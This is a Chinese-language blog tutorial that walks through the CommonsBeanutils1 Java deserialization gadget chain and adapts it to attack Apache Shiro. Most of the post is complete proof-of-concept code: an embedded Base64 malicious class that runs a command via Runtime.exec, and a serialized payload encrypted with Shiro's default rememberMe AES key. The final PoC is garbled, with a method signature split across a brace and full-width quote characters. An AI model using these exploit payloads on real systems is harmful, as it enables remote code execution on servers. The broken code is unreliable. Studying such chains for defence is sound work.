前面已經學習了CC1到CC7的利用鏈,其中在CC2中認識了java.util.PriorityQueue
,它在Java中是一個優先佇列,佇列中每一個元素有自己的優先順序。在反序列化這個物件時,為了保證佇列順序,會進行重排序的操作,而排序就涉及到大小比較,進而執行java.util.Comparator
介面的compare()
方法。
那麼是否還能找到其他可以利用的java.util.Comparator
物件呢?
Apache Commons Beanutils 是 Apache Commons 工具集下的另一個專案,它提供了對普通Java類物件(也稱為JavaBean)的一些操作方法
比如,Cat是一個最簡單的JavaBean類
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一個私有屬性name,和讀取和設定這個屬性的兩個方法,又稱為getter和setter。其中,getter的方法名以get開頭,setter的方法名以set開頭,全名符合駱駝式命名法(Camel-Case)。
commons-beanutils中提供了一個靜態方法PropertyUtils.getProperty
,讓使用者可以直接呼叫任意JavaBean的getter方法,比如
PropertyUtils.getProperty(new Cat(), "name");
此時,commons-beanutils會自動找到name屬性的getter方法,也就是getName
,然後呼叫,獲得返回值。除此之外,PropertyUtils.getProperty
還支援遞迴獲取屬性,比如a物件中有屬性b,b物件 中有屬性c,我們可以通過PropertyUtils.getProperty(a, "b.c")
; 的方式進行遞迴獲取。通過這個 方法,使用者可以很方便地呼叫任意物件的getter,適用於在不確定JavaBean是哪個類物件時使用。 當然,commons-beanutils中諸如此類的輔助方法還有很多,如呼叫setter、拷貝屬性等。
前邊說了,我們需要找可以利用的java.util.Comparator
物件,在commons-beanutils包中就存在一個:org.apache.commons.beanutils.BeanComparator
BeanComparator 是commons-beanutils提供的用來比較兩個JavaBean是否相等的類,其實現了java.util.Comparator介面。我們看它的compare方法
這個方法傳入兩個物件,如果this.property
為空,則直接比較這兩個物件;如果this.property
不為空,則用PropertyUtils.getProperty
分別取這兩個物件的this.property
屬性,比較屬性的值,上一節我們說了,PropertyUtils.getProperty
這個方法會自動去呼叫一個JavaBean的getter方法,這個點是任意程式碼執行的關鍵。有沒有什麼getter方法可以執行惡意程式碼呢?
在[Java安全之動態載入位元組碼(https://www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl
時,有過這麼一段描述
追溯到到最前面兩個方法TemplatesImpl#getOutputProperties()
,TemplatesImpl#newTransformer()
,這兩者的作用域是public,可以被外部呼叫
其中TemplatesImpl#getOutputProperties()
方法是呼叫鏈上的一環,它的內部呼叫了 TemplatesImpl#newTransformer()
,也就是我們後面常用來執行惡意位元組碼的地方。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而getOutputProperties
這個名字,是以get開頭,正符合getter的定義。
所以,PropertyUtils.getProperty(o1,property)
這段程式碼,當o1是一個TemplatesImpl
物件,而 property 的值為 outputProperties
時,將會自動呼叫getter,也就是TemplatesImpl#getOutputProperties()
方法,觸發程式碼執行。
首先建立TemplateImpl:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然後,範例化BeanComparator
,BeanComparator
建構函式為空時,預設的property
就是空:
final BeanComparator comparator = new BeanComparator();
然後用這個comparator範例化優先佇列PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
可見,我們新增了兩個無害的可以比較的物件進佇列中。前文說過, BeanComparator#compare()
中, 如果this.property 為空,則直接比較這兩個物件。這裡實際上就是對兩個1
進行排序。
初始化時使用正經物件,且property
為空,這一系列操作是為了初始化的時候不要出錯。然後,我們再用反射將property的值設定成惡意的outputProperties
,將佇列裡的兩個1替換成惡意的TemplateImpl
物件:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj})
最終POC如下:
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
之前在利用TemplatesImpl攻擊Shiro中寫了利用CC鏈加TemplatesImpl
來攻擊Shiro。
這裡說一下,Shiro
是依賴於commons-beanutils
的,所以說只要有shiro
就一定有CB,用CB利用鏈肯定會更加方便。
構造POC:
使用上面的CB鏈進行加密打Shrio試試
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果兩個不同版本的庫使用了同一個類,而這兩個類可能有一些方法和屬性有了變化,此時在序列化通 信的時候就可能因為不相容導致出現隱患。因此,Java在反序列化的時候提供了一個機制,序列化時會 根據固定演演算法計算出一個當前類的serialVersionUID
值,寫入資料流中;反序列化時,如果發現對方的環境中這個類計算出的serialVersionUID
不同,則反序列化就會異常退出,避免後續的未知隱患。
當然,開發者也可以手工給類賦予一個serialVersionUID
值,此時就能手工控制相容性了。
我們在生成rememberMe
的時候本地使用的是commons-beanutils1.9.4
版本,而shiro自帶的是1.8.3
版本。出現了serialVersionUID
對應不上的問題。
所以我們直接將原生的commons-beanutils也換成1.8.3版本。再次生成Payload進行測試,仍然沒有觸發程式碼執行。
沒找到org.apache.commons.collections.comparators.ComparableComparator
類,從包名即可看出,這個類是來自於commons-collections
,commons-beanutils本來依賴於commons-collections,但是在Shiro中,它的commons-beanutils雖 然包含了一部分commons-collections的類,但卻不全。這也導致,正常使用Shiro的時候不需要依賴於 commons-collections,但反序列化利用的時候需要依賴於commons-collections。
看看org.apache.commons.collections.comparators.ComparableComparator
這個類在哪裡使用了:
在BeanComparator
類別建構函式處,當沒有顯式傳入Comparator
的情況下,則預設使用 ComparableComparator
。
既然此時沒有ComparableComparator ,我們需要找到一個類來替換,它滿足下面這幾個條件:
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
CaseInsensitiveComparator
類是java.lang.String
類下的一個內部私有類,其實現了 Comparator
和Serializable
,且位於Java的核心程式碼
通過String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的CaseInsensitiveComparator
物件,用它來範例化 BeanComparator
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
最後構造處新的利用鏈
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import static java.util.Base64.getDecoder;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
public static void main(St
}ring[] args) throws Exception {
byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
又報錯,因為我們後面新增的是兩個整形物件,不能轉換成字串型別,那我們把1
改成"1"
就解決了
queue.add(「1」);
queue.add(「1」);